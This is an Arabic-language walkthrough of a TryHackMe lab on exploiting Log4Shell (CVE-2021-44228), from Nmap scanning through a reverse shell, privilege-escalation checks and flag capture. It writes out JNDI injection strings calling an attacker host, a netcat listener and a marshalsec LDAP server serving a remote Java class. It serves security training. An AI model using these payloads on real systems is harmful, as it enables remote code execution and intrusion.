🔥 Solar استغلال Log4j - دليل TryHackMe

📌 الغرفة: Solar Exploiting Log4j

المنصة: TryHackMe الصعوبة: متوسط الموضوع: Log4Shell (ثغرة Log4j)

🧠 الهدف

استغلال ثغرة Log4j (CVE-2021-44228) للحصول على تنفيذ الأوامر عن بُعد والتقاط الأعلام.

🛠️ الأدوات المستخدمة

• Nmap
• Burp Suite
• cURL
• Netcat
• Python HTTP Server

🌐 الخطوة 1: الاستطلاع

🔍 مسح الهدف

nmap -sC -sV <TARGET_IP>

📌 النتائج

• المنافذ المفتوحة: 80 (HTTP)، وغيرها حسب الغرفة
• تطبيق ويب يعمل بنظام خلفي مبني على Java

🌐 الخطوة 2: تعداد الويب

• زيارة تطبيق الويب في المتصفح
• التفاعل مع حقول الإدخال (تسجيل الدخول/البحث/رؤوس HTTP)
• التقاط الطلب باستخدام Burp Suite

💥 الخطوة 3: تحديد ثغرة Log4j

ثغرة Log4j تسمح بحقن JNDI:

${jndi:ldap://<ATTACKER_IP>:1389/a}

إذا تم تسجيل الإدخال → فالثغرة موجودة.

⚙️ الخطوة 4: إعداد المستمع

تشغيل Netcat

nc -lvnp 4444

تشغيل خادم LDAP ضار (مثال)

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

تشغيل خادم LDAP:

java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

📡 الخطوة 5: استضافة الحمولة

python3 -m http.server 8000

إنشاء كلاس Java ضار (Exploit.class)

🚀 الخطوة 6: تشغيل الاستغلال

حقن الحمولة في الحقل المعرض للخطر:

${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

💡 استخدم رؤوس مثل:

• User-Agent
• X-Api-Version

🖥️ الخطوة 7: الحصول على شل عكسي

بمجرد التشغيل:

• الهدف يتصل مرة أخرى بمستمع Netcat
• تحصل على وصول شل

🔐 الخطوة 8: تصعيد الصلاحيات (إذا لزم الأمر)

تحقق:

sudo -l

ابحث عن:

• ثنائيات SUID تم تكوينها بشكل خاطئ
• ملفات قابلة للكتابة
• وظائف Cron

🚩 الخطوة 9: التقاط الأعلام

find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 المفاهيم الأساسية المستفادة

• Log4Shell (CVE-2021-44228)
• حقن JNDI
• تنفيذ الأوامر عن بُعد (RCE)
• الشل العكسي
• استغلال الويب